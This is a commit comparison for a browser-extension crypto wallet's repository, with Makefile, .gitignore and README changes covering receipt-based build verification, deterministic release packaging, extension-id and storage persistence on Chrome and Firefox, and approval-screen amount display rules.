Compare commits
18 Commits
issue-307-
...
ee9bf03403
| Author | SHA1 | Date | |
|---|---|---|---|
| ee9bf03403 | |||
| 45500e66cf | |||
| 1b52aa1723 | |||
| 75a5fa9891 | |||
| c9ebac822a | |||
| ad6aa7b20d | |||
| 28a527295a | |||
| bd0a626e7b | |||
| 36bc6bee0e | |||
| 43784cab3f | |||
| 769f6a5289 | |||
| 669c443bf9 | |||
| 12b0c4d1c6 | |||
| c36d8b6ddf | |||
| cef6aaab11 | |||
| 20e911059a | |||
| aea999db85 | |||
| c8c2af0c6b |
@@ -4,3 +4,4 @@
|
|||||||
node_modules
|
node_modules
|
||||||
.DS_Store
|
.DS_Store
|
||||||
dist
|
dist
|
||||||
|
release
|
||||||
|
|||||||
3
.gitignore
vendored
3
.gitignore
vendored
@@ -23,6 +23,9 @@ node_modules/
|
|||||||
# Build output
|
# Build output
|
||||||
dist/
|
dist/
|
||||||
|
|
||||||
|
# Release artifacts (make package). Derived from dist/, never committed.
|
||||||
|
release/
|
||||||
|
|
||||||
# Yarn
|
# Yarn
|
||||||
.yarn-integrity
|
.yarn-integrity
|
||||||
package-lock.json
|
package-lock.json
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
node_modules/
|
node_modules/
|
||||||
yarn.lock
|
yarn.lock
|
||||||
dist/
|
dist/
|
||||||
|
release/
|
||||||
.claude/
|
.claude/
|
||||||
|
|||||||
55
Makefile
55
Makefile
@@ -1,4 +1,4 @@
|
|||||||
.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug verify-build vendor-blocklist clean dev
|
.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug package vendor-blocklist clean dev
|
||||||
|
|
||||||
# Standard targets are thin shims; the implementations live in script/
|
# Standard targets are thin shims; the implementations live in script/
|
||||||
# per the scripts-to-rule-them-all pattern (see the Entrypoints section
|
# per the scripts-to-rule-them-all pattern (see the Entrypoints section
|
||||||
@@ -41,32 +41,63 @@ check:
|
|||||||
check-censored:
|
check-censored:
|
||||||
@script/check-censored
|
@script/check-censored
|
||||||
|
|
||||||
|
package:
|
||||||
|
@script/package
|
||||||
|
|
||||||
docker:
|
docker:
|
||||||
@script/docker
|
@script/docker
|
||||||
|
|
||||||
hooks:
|
hooks:
|
||||||
@script/install-precommit
|
@script/install-precommit
|
||||||
|
|
||||||
|
# build.js writes a receipt of everything it emitted — every path, its sha256,
|
||||||
|
# and whether it is a bundle containing constants.js — and script/verify-build
|
||||||
|
# checks dist/ against that. The receipt is made here, fresh per invocation,
|
||||||
|
# outside the repo, and deleted again: a standing file inside dist/ would be
|
||||||
|
# rewritten by whoever rewrote dist/, which is what made the old check
|
||||||
|
# satisfiable by a hand-written tree.
|
||||||
|
#
|
||||||
|
# The expected mode is an explicit argument and AUTISTMASK_DEBUG is scrubbed
|
||||||
|
# from the verifier's environment. The script no longer reads it at all; env -u
|
||||||
|
# is here so that stays true of anything it calls. It is deliberately NOT
|
||||||
|
# scrubbed from the build itself: with AUTISTMASK_DEBUG=1 exported, this target
|
||||||
|
# compiles a debug bundle and then fails on it, loudly, rather than quietly
|
||||||
|
# handing back something other than the release build that was asked for.
|
||||||
|
#
|
||||||
|
# Every step of this target is wrapped in script/discard-dist-on-failure, so a
|
||||||
|
# release build that fails removes dist/ instead of leaving a complete, loadable
|
||||||
|
# debug bundle there for whoever runs the build, sees it fail, and loads
|
||||||
|
# dist/chrome/ anyway. A step that succeeds removes nothing, and build-debug is
|
||||||
|
# deliberately not wrapped.
|
||||||
build:
|
build:
|
||||||
@echo "Building extension..."
|
@echo "Building extension..."
|
||||||
@yarn run build 2>&1
|
@set -eu; \
|
||||||
@script/verify-build
|
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
|
||||||
@script/check-censored --require-dist
|
trap 'rm -f "$$receipt"' EXIT INT TERM; \
|
||||||
|
script/discard-dist-on-failure \
|
||||||
|
env AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
|
||||||
|
script/discard-dist-on-failure \
|
||||||
|
env -u AUTISTMASK_DEBUG script/verify-build --expect release \
|
||||||
|
--receipt "$$receipt"
|
||||||
|
@script/discard-dist-on-failure script/check-censored --require-dist
|
||||||
|
|
||||||
# Development-only build: enables the red DEBUG / INSECURE banner and makes
|
# Development-only build: enables the red DEBUG / INSECURE banner and makes
|
||||||
# the hardcoded test recovery phrase the output of wallet creation. Never
|
# the hardcoded test recovery phrase the output of wallet creation. Never
|
||||||
# distribute the artifacts this produces.
|
# distribute the artifacts this produces.
|
||||||
|
#
|
||||||
|
# No discard-dist-on-failure here, on purpose: a debug build that fails is not
|
||||||
|
# producing an artifact anyone could mistake for a release one, and its dist/ is
|
||||||
|
# the evidence of what went wrong.
|
||||||
build-debug:
|
build-debug:
|
||||||
@echo "Building extension (DEBUG)..."
|
@echo "Building extension (DEBUG)..."
|
||||||
@AUTISTMASK_DEBUG=1 yarn run build 2>&1
|
@set -eu; \
|
||||||
@AUTISTMASK_DEBUG=1 script/verify-build
|
receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
|
||||||
|
trap 'rm -f "$$receipt"' EXIT INT TERM; \
|
||||||
|
AUTISTMASK_DEBUG=1 AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
|
||||||
|
env -u AUTISTMASK_DEBUG script/verify-build --expect debug \
|
||||||
|
--receipt "$$receipt"
|
||||||
@script/check-censored --require-dist
|
@script/check-censored --require-dist
|
||||||
|
|
||||||
# Assert the compiled DEBUG state of the bundles already in dist/. Runs at
|
|
||||||
# the end of build and build-debug; separate target for re-running it alone.
|
|
||||||
verify-build:
|
|
||||||
@script/verify-build
|
|
||||||
|
|
||||||
# Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream.
|
# Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream.
|
||||||
# Run deliberately, land the diff: the extension does no runtime fetching, so
|
# Run deliberately, land the diff: the extension does no runtime fetching, so
|
||||||
# the shipped list is as fresh as the last vendoring run that was released.
|
# the shipped list is as fresh as the last vendoring run that was released.
|
||||||
@@ -74,7 +105,7 @@ vendor-blocklist:
|
|||||||
@script/vendor-blocklist
|
@script/vendor-blocklist
|
||||||
|
|
||||||
clean:
|
clean:
|
||||||
@rm -rf dist/
|
@rm -rf dist/ release/
|
||||||
|
|
||||||
dev:
|
dev:
|
||||||
@echo "Building in watch mode..."
|
@echo "Building in watch mode..."
|
||||||
|
|||||||
588
README.md
588
README.md
@@ -44,32 +44,169 @@ Load the extension:
|
|||||||
- **Chrome**: Navigate to `chrome://extensions/`, enable "Developer mode", click
|
- **Chrome**: Navigate to `chrome://extensions/`, enable "Developer mode", click
|
||||||
"Load unpacked", and select the `dist/chrome/` directory.
|
"Load unpacked", and select the `dist/chrome/` directory.
|
||||||
- **Firefox**: Navigate to `about:debugging#/runtime/this-firefox`, click "Load
|
- **Firefox**: Navigate to `about:debugging#/runtime/this-firefox`, click "Load
|
||||||
Temporary Add-on", and select `dist/firefox/manifest.json`.
|
Temporary Add-on", and select `dist/firefox/manifest.json`. Read
|
||||||
|
[Installing on Firefox](#installing-on-firefox) before relying on this: a
|
||||||
|
temporary add-on does not survive closing the browser.
|
||||||
|
|
||||||
|
### Release Artifacts
|
||||||
|
|
||||||
|
`make package` runs `make build` and then writes one self-contained, versioned
|
||||||
|
archive per browser into `release/`, plus a `SHA256SUMS` for them:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
make package
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
release/autistmask-chrome-<version>.zip
|
||||||
|
release/autistmask-firefox-<version>.xpi
|
||||||
|
release/SHA256SUMS
|
||||||
|
```
|
||||||
|
|
||||||
|
Nothing is published by this. Tagging, CRX packing and any upload are
|
||||||
|
outward-facing acts and are the owner's alone.
|
||||||
|
|
||||||
|
The archives are deterministic — entries sorted, timestamps fixed, compression
|
||||||
|
level fixed — so two builds of one commit produce byte-identical files and the
|
||||||
|
recorded digest is a property of the input rather than of the clock.
|
||||||
|
|
||||||
|
**Self-containment is checked, not assumed.** `build.js` writes the compiled
|
||||||
|
Tailwind output to `dist/styles.css` at the `dist/` ROOT, outside both browser
|
||||||
|
directories, and copies it into each of them as `src/popup/styles.css`; a naive
|
||||||
|
`zip -r dist/chrome` is therefore correct only by accident. So the packager
|
||||||
|
resolves every path referenced by the manifest and by every HTML document in the
|
||||||
|
archive, requires each to be inside the archive, and fails on any reference that
|
||||||
|
climbs out of the extension root. Files left at the `dist/` root are printed as
|
||||||
|
deliberately not shipped rather than dropped by a glob. The archive is then read
|
||||||
|
back off disk and compared member by member against the directory it was built
|
||||||
|
from: an archive nobody opened is a claim, not an artifact.
|
||||||
|
|
||||||
|
There is one version, and the build enforces it. `package.json`,
|
||||||
|
`manifest/chrome.json` and `manifest/firefox.json` each declare one and none is
|
||||||
|
derived from another — the manifests are copied to `dist/` verbatim, which is
|
||||||
|
what `tests/manifest.test.js` asserts — so `script/lib/version.js` requires all
|
||||||
|
three to agree and **fails the build when they do not**, naming each file and
|
||||||
|
what it said. `tests/version.test.js` covers that rule in `make check`.
|
||||||
|
|
||||||
|
### Installing on Chrome
|
||||||
|
|
||||||
|
`manifest/chrome.json` carries a fixed `key`: the public half of an RSA keypair,
|
||||||
|
base64-encoded DER. It exists for one reason. An unpacked Chrome extension with
|
||||||
|
no `key` gets an extension id derived from the **absolute path it was loaded
|
||||||
|
from**, and `chrome.storage.local` — which is where the wallet lives — is
|
||||||
|
partitioned by that id. Move the checkout, re-clone it, or load a second copy
|
||||||
|
from anywhere else, and the extension comes up on a fresh, empty storage
|
||||||
|
partition: the wallet is simply gone, with no error and nothing in the UI to say
|
||||||
|
so. With the `key` in place the id is derived from the key instead, and follows
|
||||||
|
the extension wherever it is loaded from. That id is
|
||||||
|
`gipbhkogfopeahplcjhipkgpcimdpkip`, pinned in `tests/extensionId.test.js` and
|
||||||
|
observed against a real Chrome in `tests/e2e/storagePartition.js`.
|
||||||
|
|
||||||
|
**Changing `key` changes the extension id, and orphans every wallet stored under
|
||||||
|
the old one.** It is a migration, not an edit.
|
||||||
|
|
||||||
|
The **private** half is a credential. It is not in this repository, no target
|
||||||
|
generates one into the working tree, `*.pem` and `*.key` are gitignored, and
|
||||||
|
`tests/extensionId.test.js` fails if such a file is ever committed. It is not
|
||||||
|
needed to build, load or test anything here — it signs a CRX, and this repo does
|
||||||
|
not pack one. A packer would take it from outside the repo, e.g.
|
||||||
|
`chrome --pack-extension=dist/chrome --pack-extension-key=<path to the .pem>`.
|
||||||
|
|
||||||
|
### Installing on Firefox
|
||||||
|
|
||||||
|
**The XPI this repo produces is UNSIGNED, and release Firefox and Firefox ESR
|
||||||
|
will refuse to install it.** Those builds enforce add-on signing with no working
|
||||||
|
override — `xpinstall.signatures.required` does nothing on them — so a permanent
|
||||||
|
install needs Firefox Developer Edition, Nightly, or an Unbranded build, with
|
||||||
|
`xpinstall.signatures.required` set to `false` in `about:config`.
|
||||||
|
|
||||||
|
Signing means submitting to AMO (self-distribution is enough, and does not
|
||||||
|
require listing), which needs credentials this repository does not have and is
|
||||||
|
the owner's decision.
|
||||||
|
|
||||||
|
The other route is `about:debugging#/runtime/this-firefox` -> "Load Temporary
|
||||||
|
Add-on", which works on every Firefox including release. **A temporary add-on is
|
||||||
|
unloaded when Firefox exits**, so daily use means re-adding it by hand on every
|
||||||
|
browser start.
|
||||||
|
|
||||||
|
**The wallet survives the restart.** `manifest/firefox.json` declares a fixed
|
||||||
|
`browser_specific_settings.gecko.id`, and Firefox keys the extension's storage
|
||||||
|
area on that id rather than on the install, so adding the temporary add-on again
|
||||||
|
in the same profile finds the vault where it left it. That is asserted, not
|
||||||
|
assumed: `tests/e2e/firefox/reinstall.js` installs the packaged XPI in a real
|
||||||
|
Firefox, creates a wallet through the UI, quits the browser, starts it again on
|
||||||
|
the same profile, adds the add-on again, and decrypts the vault with the
|
||||||
|
original password back to the original recovery phrase. The `moz-extension://`
|
||||||
|
origin the popup is served from is _not_ stable across installs and does not
|
||||||
|
need to be — nothing durable is keyed on it.
|
||||||
|
|
||||||
|
**Removing the add-on does not.** An explicit uninstall — about:addons "Remove"
|
||||||
|
— destroys the extension's storage, and the vault with it. That is ordinary,
|
||||||
|
correct browser behaviour and it is observed in the same suite, but for a wallet
|
||||||
|
it is worth saying out loud: **on Firefox, Remove is irreversible, and the
|
||||||
|
recovery phrase is the only way back.**
|
||||||
|
|
||||||
### Debug Builds
|
### Debug Builds
|
||||||
|
|
||||||
`make build` always produces a release build: the build-time `DEBUG` constant is
|
`make build` never hands back a debug build. `make build-debug` is the only
|
||||||
`false`, so wallet creation uses real entropy and the red banner is off. To
|
target that produces one:
|
||||||
produce a debug build instead, set `AUTISTMASK_DEBUG=1` in the environment:
|
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
make build-debug # or: AUTISTMASK_DEBUG=1 make build
|
make build-debug
|
||||||
```
|
```
|
||||||
|
|
||||||
Only the exact value `1` enables it; any other value (including unset, empty, or
|
`AUTISTMASK_DEBUG=1` still selects the debug compile, and only the exact value
|
||||||
`true`) yields a release build, so a typo cannot accidentally ship the debug
|
`1` does; any other value (including unset, empty, or `true`) yields a release
|
||||||
behavior. The build prints which mode it used. See the
|
build, so a typo cannot accidentally ship the debug behavior. But it is the
|
||||||
[DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never
|
compiler's input, not the verifier's: if it happens to be exported in the shell
|
||||||
|
that runs `make build`, that target compiles a debug bundle and then **fails**,
|
||||||
|
because it tells `script/verify-build` in so many words that it was supposed to
|
||||||
|
produce a release build. It used to be that the verifier read the same variable
|
||||||
|
out of its own environment, agreed with itself, and reported a debug artifact as
|
||||||
|
verified. The build prints which mode it used. A release build that fails also
|
||||||
|
**removes `dist/`**, and says so: the bundle it had already written is loadable,
|
||||||
|
and a loud failure is no protection against someone loading `dist/chrome/`
|
||||||
|
anyway. `make build-debug` keeps its `dist/` on failure — that output is not
|
||||||
|
mistakable for a release build, and it is the evidence of what went wrong. See
|
||||||
|
the [DEBUG Mode Policy](#debug-mode-policy) for what the flag changes. **Never
|
||||||
distribute a debug build** — every wallet it creates gets the same publicly
|
distribute a debug build** — every wallet it creates gets the same publicly
|
||||||
known test recovery phrase.
|
known test recovery phrase.
|
||||||
|
|
||||||
Both builds end by running `script/verify-build`, which reads the compiled
|
Both targets end by running `script/verify-build`, which reads the compiled
|
||||||
`DEBUG` state back out of the emitted bundles and fails the build if it is not
|
`DEBUG` state back out of the emitted bundles and fails the build if it is not
|
||||||
the one that was asked for. The test suite cannot check this: it loads
|
the one that was asked for. The test suite cannot check this: it loads
|
||||||
`src/shared/constants.js` outside a bundle, so it only ever sees the fallback
|
`src/shared/constants.js` outside a bundle, so it only ever sees the fallback
|
||||||
value. The assertion is on the artifacts because that is where the property
|
value. The assertion is on the artifacts because that is where the property
|
||||||
lives.
|
lives.
|
||||||
|
|
||||||
|
### Build Receipts
|
||||||
|
|
||||||
|
`build.js` records every file it emits — path, sha256, and whether the file is
|
||||||
|
one of the bundles containing `src/shared/constants.js` — into a build receipt,
|
||||||
|
and `script/verify-build` checks `dist/` against that receipt: every recorded
|
||||||
|
file present with exactly the recorded bytes, every audited bundle carrying the
|
||||||
|
requested `DEBUG` marker, and no regular file or symlink under `dist/` that the
|
||||||
|
build did not write. The `Makefile` creates the receipt path with `mktemp` per
|
||||||
|
invocation, outside the repo, and deletes it afterwards.
|
||||||
|
|
||||||
|
That is what ties the check to a build rather than to a directory. What it
|
||||||
|
establishes is narrow and worth stating exactly: `dist/` is byte for byte the
|
||||||
|
output of the `build.js` run that just finished, with no regular file or symlink
|
||||||
|
added, removed or altered in between. Regular files and symlinks are the whole
|
||||||
|
of what the tree walk covers; fifos, sockets, device nodes and empty directories
|
||||||
|
under `dist/` are not checked, because a build emits none of them, none can
|
||||||
|
carry a shippable payload, and `grep` on a fifo would hang rather than fail. It
|
||||||
|
establishes nothing about whether the source tree or `build.js` were honest, and
|
||||||
|
it offers nothing to someone handed a `dist/` from elsewhere — without the
|
||||||
|
receipt from its own build there is no input to the check. Verifiable provenance
|
||||||
|
for a third party is signing, which this is not.
|
||||||
|
|
||||||
|
There is deliberately no target that re-verifies an existing `dist/` on its own.
|
||||||
|
The list of files to check has to come from the build that produced them; read
|
||||||
|
back out of `dist/`, it is the artifact vouching for itself, which is how a
|
||||||
|
26-byte file containing only the marker string, a hostile content script, and an
|
||||||
|
entire hand-written `dist/` all used to verify green.
|
||||||
|
|
||||||
## Entrypoints
|
## Entrypoints
|
||||||
|
|
||||||
This repository adheres to the
|
This repository adheres to the
|
||||||
@@ -109,25 +246,45 @@ provide:
|
|||||||
fails anywhere else. Part of `make check`, which inspects `dist/` when there
|
fails anywhere else. Part of `make check`, which inspects `dist/` when there
|
||||||
is one and says loudly when there is not; `make build` re-runs it with
|
is one and says loudly when there is not; `make build` re-runs it with
|
||||||
`--require-dist`, so a build artifact is always covered
|
`--require-dist`, so a build artifact is always covered
|
||||||
|
- `script/package` — produce the release artifacts: `make build` first, so the
|
||||||
|
archives can only ever be made from a `dist/` that has been verified against
|
||||||
|
that build's own receipt as a RELEASE build, then one self-contained,
|
||||||
|
versioned archive per browser into `release/` (see
|
||||||
|
[Release Artifacts](#release-artifacts)). It packages and does not publish
|
||||||
- `script/vendor-blocklist` — refresh `src/shared/phishingBlocklist.json` from
|
- `script/vendor-blocklist` — refresh `src/shared/phishingBlocklist.json` from
|
||||||
its upstream, pinned to a commit and to the sha256 of the bytes that commit
|
its upstream, pinned to a commit and to the sha256 of the bytes that commit
|
||||||
serves. Run deliberately, never as part of a build: the output is committed
|
serves. Run deliberately, never as part of a build: the output is committed
|
||||||
and there is no runtime fetch, so the shipped list is as fresh as the last
|
and there is no runtime fetch, so the shipped list is as fresh as the last
|
||||||
vendoring run that was released
|
vendoring run that was released
|
||||||
- `script/verify-build` — assert the compiled `DEBUG` state of the bundles in
|
- `script/verify-build --expect release|debug --receipt PATH` — assert that the
|
||||||
`dist/`: every bundle containing `src/shared/constants.js` must have `DEBUG`
|
regular files and symlinks under `dist/` are exactly what the build that just
|
||||||
off, or on when `AUTISTMASK_DEBUG=1`. Run automatically at the end of
|
ran emitted (other file types are out of scope), and that the compiled `DEBUG`
|
||||||
`make build` and `make build-debug`; fails loudly rather than passing if it
|
state of the bundles in it is the one that was asked for. Both arguments are
|
||||||
cannot determine a bundle's state. Not part of `make check`, which does not
|
required and neither has a default: the expected mode is stated by the caller
|
||||||
depend on build artifacts existing.
|
rather than read from `AUTISTMASK_DEBUG`, and the file list comes from the
|
||||||
|
build's receipt rather than from `dist/` (see
|
||||||
|
[Build Receipts](#build-receipts)). Run automatically at the end of
|
||||||
|
`make build` and `make build-debug`; fails loudly rather than passing whenever
|
||||||
|
it cannot determine something. Not part of `make check`, which does not depend
|
||||||
|
on build artifacts existing.
|
||||||
|
- `script/discard-dist-on-failure COMMAND [ARG...]` — run one step of the
|
||||||
|
**release** build and, if it fails, remove `dist/` before returning that
|
||||||
|
step's exit status, saying on stderr that it did and why. Every step of
|
||||||
|
`make build` runs through it; `make build-debug` runs none of them through it.
|
||||||
|
A step that succeeds removes nothing, and a removal that cannot be completed
|
||||||
|
is reported as loudly as one that was
|
||||||
- `script/test-verify-build` — exercise every failure mode of
|
- `script/test-verify-build` — exercise every failure mode of
|
||||||
`script/verify-build` against a fixture tree in a temp dir, asserting the exit
|
`script/verify-build` against a fixture tree in a temp dir, asserting the exit
|
||||||
status and the message of each. Part of `make check`; it reads no build
|
status and the message of each, assert the state of `dist/` on disk after a
|
||||||
artifacts and writes nothing under `dist/`. The cases that depend on file
|
failing and a succeeding release build step, and read the `make build` and
|
||||||
permissions cannot mean anything for a process that is not subject to them, so
|
`make build-debug` recipes back out of `make -n` to check that they pass the
|
||||||
the harness proves its runner against a mode-000 file before counting them,
|
mode as an argument on a scrubbed environment and wrap only the release path.
|
||||||
dropping to an unprivileged user when run as root; if it cannot, it skips
|
Part of `make check`; it reads no build artifacts and writes nothing under
|
||||||
those cases and says so in a banner rather than passing them.
|
`dist/`. The cases that depend on file permissions cannot mean anything for a
|
||||||
|
process that is not subject to them, so the harness proves its runner against
|
||||||
|
a mode-000 file before counting them, dropping to an unprivileged user when
|
||||||
|
run as root; if it cannot, it skips those cases and says so in a banner rather
|
||||||
|
than passing them.
|
||||||
- `script/docker` — build the Docker image tagged via `script/projectname`
|
- `script/docker` — build the Docker image tagged via `script/projectname`
|
||||||
- `script/cibuild` — CI entrypoint: plain `docker build .`
|
- `script/cibuild` — CI entrypoint: plain `docker build .`
|
||||||
- `script/precommit` — run by the git pre-commit hook; runs `script/check`
|
- `script/precommit` — run by the git pre-commit hook; runs `script/check`
|
||||||
@@ -140,10 +297,13 @@ The Makefile shims to those. It also carries a few targets that have no
|
|||||||
of `script/bootstrap`. Frozen so a stale `yarn.lock` fails instead of being
|
of `script/bootstrap`. Frozen so a stale `yarn.lock` fails instead of being
|
||||||
silently rewritten. Use `make setup` for a fresh clone.
|
silently rewritten. Use `make setup` for a fresh clone.
|
||||||
- `make hooks` — shims to `script/install-precommit`
|
- `make hooks` — shims to `script/install-precommit`
|
||||||
- `make build` — build the extension into `dist/chrome/` and `dist/firefox/`
|
- `make build` — build the extension into `dist/chrome/` and `dist/firefox/`,
|
||||||
- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1` (see
|
then verify the result against the build's receipt as a release build. A
|
||||||
|
failure at any step removes `dist/`
|
||||||
|
- `make build-debug` — the same build with `AUTISTMASK_DEBUG=1`, verified as a
|
||||||
|
debug build, and keeping its `dist/` on failure (see
|
||||||
[Debug Builds](#debug-builds))
|
[Debug Builds](#debug-builds))
|
||||||
- `make clean` — remove `dist/`
|
- `make clean` — remove `dist/` and `release/`
|
||||||
- `make dev` — build in watch mode
|
- `make dev` — build in watch mode
|
||||||
|
|
||||||
## End-to-End Tests
|
## End-to-End Tests
|
||||||
@@ -279,6 +439,23 @@ class before a browser is involved, so this suite is no longer the only thing
|
|||||||
standing between it and a release — but a static rule only sees identifiers, and
|
standing between it and a release — but a static rule only sees identifiers, and
|
||||||
the runtime errors this suite catches are broader than one rule.
|
the runtime errors this suite catches are broader than one rule.
|
||||||
|
|
||||||
|
`make test-e2e` then runs a second program in the same image,
|
||||||
|
`tests/e2e/storagePartition.js`, which answers where `chrome.storage.local`
|
||||||
|
lives. It loads the built extension from one temporary directory in a fresh
|
||||||
|
profile, writes a sentinel key the extension itself never touches, closes the
|
||||||
|
browser, and loads a **copy at a different path into the same profile** — then
|
||||||
|
does it again with `key` stripped out of the manifest, and reports what each
|
||||||
|
pair actually did rather than what it expected. It needs its own browser
|
||||||
|
sessions, four of them, because the whole subject is what happens ACROSS loads.
|
||||||
|
|
||||||
|
The observed behaviour, on the pinned Chromium: **with `key`, both paths get the
|
||||||
|
same extension id and the second load reads the first load's storage. Without
|
||||||
|
`key`, the two paths get different ids and the second load sees an empty
|
||||||
|
partition** — the wallet, silently gone. Loading both keyed copies at once in
|
||||||
|
one profile yields a single extension id, not two: Chrome does not load a second
|
||||||
|
copy of an id it already has. The assertions are annotated as observations, so a
|
||||||
|
Chrome that ever changes this fails the run instead of passing it.
|
||||||
|
|
||||||
### Firefox (`make test-e2e-firefox`)
|
### Firefox (`make test-e2e-firefox`)
|
||||||
|
|
||||||
`make test-e2e-firefox` builds `dist/firefox/` and drives the **real popup in a
|
`make test-e2e-firefox` builds `dist/firefox/` and drives the **real popup in a
|
||||||
@@ -296,6 +473,33 @@ runner rather than believed from the extension, and the stub node has to answer
|
|||||||
`eth_sendRawTransaction` with the hash `ethers` computes for the artifact it
|
`eth_sendRawTransaction` with the hash `ethers` computes for the artifact it
|
||||||
sent, or `provider.broadcastTransaction()` refuses the answer.
|
sent, or `provider.broadcastTransaction()` refuses the answer.
|
||||||
|
|
||||||
|
`make test-e2e-firefox` then runs a second program in the same image,
|
||||||
|
`tests/e2e/firefox/reinstall.js`, and it installs the **packaged XPI** rather
|
||||||
|
than the unpacked directory — the only place a real Firefox is asked to load the
|
||||||
|
artifact that would actually be handed to someone. It runs two browsers over one
|
||||||
|
profile, because it asks two questions that have different answers:
|
||||||
|
|
||||||
|
- **Restart.** Install, create a wallet through the UI, record the vault, quit
|
||||||
|
the browser, start it again on the same profile, add the add-on again. The
|
||||||
|
extension must not come up as a fresh install; the vault, xpub and first
|
||||||
|
address must be unchanged; and the vault must still **decrypt** with the
|
||||||
|
original password to the original recovery phrase, through the real Show
|
||||||
|
Recovery Phrase screen. "The ciphertext is still in storage" and "the wallet
|
||||||
|
still works" are different claims and only the second one is worth anything.
|
||||||
|
This is what a user does every day, because a temporary add-on is unloaded
|
||||||
|
when Firefox exits.
|
||||||
|
- **Removal.** Then, in the same browser, an explicit uninstall and a fresh
|
||||||
|
install. Observed: **Firefox destroys the extension's storage on uninstall**,
|
||||||
|
so the vault is gone. Recorded as an assertion, so a Firefox that ever changes
|
||||||
|
it fails the run, and stated in
|
||||||
|
[Installing on Firefox](#installing-on-firefox) because for a wallet it means
|
||||||
|
Remove is irreversible except from the recovery phrase.
|
||||||
|
|
||||||
|
It also pins down something worth knowing about the harness: the
|
||||||
|
`moz-extension://` uuid the popup is served from is not stable across installs,
|
||||||
|
and navigating to a stale one does not fail — it hangs. The program reads the
|
||||||
|
live uuid out of `extensions.webextensions.uuids` after every install.
|
||||||
|
|
||||||
Both suites build their own image, each with the repo and a fresh extension
|
Both suites build their own image, each with the repo and a fresh extension
|
||||||
build baked in; what differs is the base. The Chrome image layers those on top
|
build baked in; what differs is the base. The Chrome image layers those on top
|
||||||
of a published Playwright image, whereas this one is assembled from a `node`
|
of a published Playwright image, whereas this one is assembled from a `node`
|
||||||
@@ -653,6 +857,72 @@ Both are click-copyable. Truncating to 4 decimals in summary views is acceptable
|
|||||||
for scannability, but the detail view must never discard precision — it is the
|
for scannability, but the detail view must never discard precision — it is the
|
||||||
one place the user can always use to verify exact details.
|
one place the user can always use to verify exact details.
|
||||||
|
|
||||||
|
**Specific Exception — nonzero floor on the approval screens:** A nonzero amount
|
||||||
|
must never render as zero. Truncating to 4 decimals does exactly that to an
|
||||||
|
amount below 0.0001 — 1 base unit of an 18-decimal token, 500 base units of an
|
||||||
|
8-decimal one — and on the dApp approval screen and the wait/success/error
|
||||||
|
screens that carry its amount forward, a real transfer or allowance then reads
|
||||||
|
as "nothing is being moved". A swap's `Min. received` is the sharper case: a
|
||||||
|
slippage floor shown as `0.0000` states that the swap may return nothing.
|
||||||
|
|
||||||
|
On those screens, when the truncated string would contain no digit from 1 to 9
|
||||||
|
and the value does, the amount is extended to its first significant digit
|
||||||
|
instead: `0.000000000000000001 DAI`, not `0.0000 DAI`. The test is on the whole
|
||||||
|
truncated string, integer part included, so `1.00005` still shows as `1.0000` —
|
||||||
|
the exception only fires where the entire displayed figure would read as zero. A
|
||||||
|
genuine zero still renders `0.0000`, and truncation stays truncation: `0.99999`
|
||||||
|
shows as `0.9999`, never rounded up.
|
||||||
|
|
||||||
|
The rule and its exception live in `src/shared/amountDisplay.js` as
|
||||||
|
`truncateAmount()` and `truncateAmountNeverZero()`. Everything the approval and
|
||||||
|
confirmation screens display goes through the floored one — the ERC-20 amount,
|
||||||
|
the ETH value and max fee (`src/popup/views/approval.js`), and the swap's
|
||||||
|
`Amount` and `Min. received` lines (`src/shared/uniswap.js`). The history and
|
||||||
|
balance lists (`src/shared/transactions.js`) use the unfloored one: the
|
||||||
|
transaction detail view is the authoritative record and already shows exact
|
||||||
|
precision. The 4-decimal rule is unchanged everywhere else, including for
|
||||||
|
amounts at or above the floor on the approval screens.
|
||||||
|
|
||||||
|
The floor applies only where the token's scale is known. Where it is not, the
|
||||||
|
approval screen states base units instead of a quantity — see Unknown token
|
||||||
|
scale below — and no truncation happens at all.
|
||||||
|
|
||||||
|
**Specific Exception — unknown token scale:** Calldata carries base units and no
|
||||||
|
scale, so every amount on the dApp approval screen needs the token's `decimals`.
|
||||||
|
It is resolved from the bundled token list, then from the tokens the user
|
||||||
|
tracks, then from what the block explorer reported for the contract
|
||||||
|
(`resolveTokenDecimals()` in `src/shared/approvalAmount.js`). Where none of them
|
||||||
|
answers, the amount is not formatted: the line reads
|
||||||
|
`5000000000 base units (decimals unknown)`. A guessed scale is not an
|
||||||
|
approximation but a different number — 1,000 units of a 6-decimal token
|
||||||
|
formatted at 18 decimals reads `0.000000001` — on the screen whose only job is
|
||||||
|
to state what is being authorized. Both amount paths of that screen take this
|
||||||
|
rule: the ERC-20 `transfer`/`approve` line (`src/popup/views/approval.js`) and
|
||||||
|
the swap's `Amount` and `Min. received` lines (`src/shared/uniswap.js`). An
|
||||||
|
unbounded allowance or permit needs no scale to describe and is still shown as
|
||||||
|
`Unlimited`.
|
||||||
|
|
||||||
|
The rule holds only if nothing invents a scale UPSTREAM of it. Those three
|
||||||
|
sources are read as authoritative, so a value written into one of them cannot be
|
||||||
|
recognized as a guess afterwards: a fabricated `18` reads exactly like a real
|
||||||
|
`18`, and the refusal above then never fires. So `fetchTokenBalances()` in
|
||||||
|
`src/shared/balances.js` stores what the explorer reported or `null`, never a
|
||||||
|
default, and the same holds for the history list's token transfers in
|
||||||
|
`src/shared/transactions.js`. A token whose `decimals()` reverts has no scale
|
||||||
|
anywhere, and a holding of it carries no quantity either: its balance is `null`
|
||||||
|
— read as unknown, never as zero — and the balance list says so rather than
|
||||||
|
printing `0.0000` for money that is really there. `0` is a real scale and is
|
||||||
|
never treated as absent.
|
||||||
|
|
||||||
|
